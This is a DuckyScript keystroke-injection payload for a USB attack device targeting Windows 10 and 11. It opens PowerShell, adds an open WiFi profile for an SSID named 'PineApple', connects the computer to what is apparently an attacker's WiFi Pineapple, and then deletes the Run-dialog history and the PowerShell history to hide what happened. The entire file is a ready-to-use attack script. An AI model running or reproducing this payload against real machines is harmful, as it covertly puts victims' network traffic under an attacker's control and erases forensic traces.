REM     Title: PineApple
REM     Description: This payload is meant to use powershell to add the network profile of your wifi pineapple to the targets PC and connect to it
REM     This version is a direct key stroke injection attack
REM     Author: I am Jakoby
REM     Target: Windows 10, 11
REM
DELAY 1000
REM
REM     If the wifi pineapple SSID is detected target PC will connect to it  
REM
GUI r 
DELAY 500
STRING powershell
DELAY 500
ENTER
REM
DELAY 1000
REM
STRING $profilefile="Home.xml";
SHIFT ENTER
STRING $SSID="PineApple";
SHIFT ENTER
STRING $SSIDHEX=($SSID.ToCharArray() |foreach-object {'{0:X}' -f ([int]$_)}) -join''
SHIFT ENTER
DELAY 500
STRING $xmlfile="<?xml version=""1.0""?>
SHIFT ENTER
STRING <WLANProfile xmlns=""http://www.microsoft.com/networking/WLAN/profile/v1"">
SHIFT ENTER
STRING <name>$SSID</name>
SHIFT ENTER
STRING <SSIDConfig>
SHIFT ENTER
STRING <SSID>
SHIFT ENTER
STRING <hex>$SSIDHEX</hex>
SHIFT ENTER
STRING <name>$SSID</name>
SHIFT ENTER
STRING </SSID>
SHIFT ENTER
STRING </SSIDConfig>
SHIFT ENTER
STRING <connectionType>ESS</connectionType>
SHIFT ENTER
STRING <connectionMode>manual</connectionMode>
SHIFT ENTER
STRING <MSM>
SHIFT ENTER
STRING <security>
SHIFT ENTER
STRING <authEncryption>
SHIFT ENTER
STRING <authentication>open</authentication>
SHIFT ENTER
STRING <encryption>none</encryption>
SHIFT ENTER
STRING <useOneX>false</useOneX>
SHIFT ENTER
STRING </authEncryption>
SHIFT ENTER
STRING </security>
SHIFT ENTER
STRING </MSM>
SHIFT ENTER
STRING </WLANProfile>
SHIFT ENTER
STRING "
SHIFT ENTER
STRING $XMLFILE > ($profilefile)
SHIFT ENTER
STRING netsh wlan add profile filename="$($profilefile)"
SHIFT ENTER
STRING netsh wlan connect name=$SSID
SHIFT ENTER
STRING reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f; Remove-Item (Get-PSreadlineOption).HistorySavePath
REM
DELAY 500
ENTER
